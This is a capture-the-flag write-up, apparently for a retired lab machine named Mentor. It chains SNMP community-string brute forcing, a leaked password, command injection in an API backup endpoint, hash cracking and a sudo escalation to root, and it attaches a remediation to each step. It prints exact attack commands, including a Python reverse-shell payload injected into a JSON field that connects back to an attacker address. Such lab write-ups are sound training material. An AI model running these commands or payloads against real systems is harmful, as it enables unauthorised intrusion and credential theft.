Mentor
Summary
I started with only SSH and a Flask/Werkzeug website exposed over TCP, but a UDP scan revealed SNMP running with a guessable second community string that leaked a full process table — including a login script invoked with its password as a plaintext command-line argument. That password authenticated to a hidden FastAPI backend (api.mentorquotes.htb) as user james, whose /admin/backup endpoint passed my input straight to a shell, giving root-level code execution inside the application's container.
From there, hardcoded database credentials in the app's source let me reach a PostgreSQL instance on the underlying host, dump the users table, and crack a weakly-hashed (MD5) password for the local service account svc — yielding SSH access and the user flag. On the host, a world-readable SNMPv3 configuration file stored another password in plaintext, which had been reused for the local user james; and once logged in as james, an unrestricted sudo rule allowing any shell command as root delivered full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
TCP-only scans miss SNMP; explicitly scan UDP to find 161/udp.
$ sudo nmap -sU --top-ports 100 $TARGETBrute-force community strings; confirms 'public' and surfaces the non-default string.
$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $TARGETFixHarden SNMP: remove weak community strings and prefer SNMPv3Medium
Exact commands 2
Full walk of the SNMP tree using the discovered community string.
$ snmpbulkwalk -v2c -c $PASSWORD5 $TARGET . > snmp.txtFilter the walk offline for the process-table line disclosing the login.py password.
$ grep -iE 'pass|login|-u |secret' snmp.txtFixNever pass secrets as process command-line argumentsHigh
Exact commands 3
Resolve the hidden API vhost locally.
$ echo "$TARGET mentorquotes.htb api.mentorquotes.htb" | sudo tee -a /etc/hostsPull the API spec to enumerate endpoints and the developer email.
$ curl -sS -H 'Host: api.mentorquotes.htb' http://$TARGET/openapi.jsonAuthenticate as james with the SNMP-leaked password; returns a JWT to use as the raw (no 'Bearer ') Authorization header value.
$ curl -sS -X POST -H 'Host: api.mentorquotes.htb' -H 'Content-Type: application/json' --data '{"email":"james@mentorquotes.htb","username":"james","password":"'"$PASSWORD2"'"}' http://$TARGET/auth/loginExact commands 2
Listener on my host ($ATTACKER_IP) to catch the reverse shell.
$ nc -lvnp 443Inject a reverse-shell command via the unsanitized 'path' field; Authorization header takes the raw JWT with no 'Bearer ' prefix.
$ curl -sS -X POST -H 'Host: api.mentorquotes.htb' -H 'Authorization: <JWT>' -H 'Content-Type: application/json' --data '{"path":";python3 -c '\''import os,pty,socket;s=socket.socket();s.connect((\"'"$ATTACKER_IP"'\",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'\'';"}' http://$TARGET/admin/backupFixEliminate shell command construction from user input in the backup endpointCritical
Exact commands 3
From the RCE shell inside the container — reveals the hardcoded Postgres connection string pointing at the Docker host gateway.
$ cat db.pyThe host's Postgres is reachable from the container network; dump credential hashes.
$ psql "postgresql://$PASSWORD4:$PASSWORD4@$INTERNAL_HOST/mentorquotes_db" -c 'SELECT * FROM users;'Crack the MD5 hash for svc (mode 0 = raw MD5) -> <withheld>.
$ hashcat -m 0 -a 0 svc_hash.txt /usr/share/wordlists/rockyou.txtFixRemove hardcoded database credentials and use strong, salted password hashingHigh
Exact commands 2
Confirm SSH access to the host as svc.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@$TARGET 'id; hostname'
uid=1001(svc)Read the user flag -> <user.txt>
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@$TARGET 'cat /home/svc/user.txt'Exact commands 2
Run as svc over the SSH session; reveals the plaintext SNMPv3 createUser password.
$ cat /etc/snmp/snmpd.confReuse the SNMP config password to switch to the james account.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc@$TARGET "printf '%s\n' '$PASSWORD' | su - james -c 'id'"FixRemove plaintext passwords from SNMP configuration and stop reusing passwords across accountsHigh
Exact commands 2
Enumerate sudo rights as james.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S -l"Escalate to root via the unrestricted /bin/sh rule and read the root flag -> <root.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null james@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S /bin/sh -c 'id; cat /root/root.txt'"
uid=0(root)FixRestrict sudo rules to specific, safe commandsCritical
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.52 |
| 161/udp | snmp udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public) |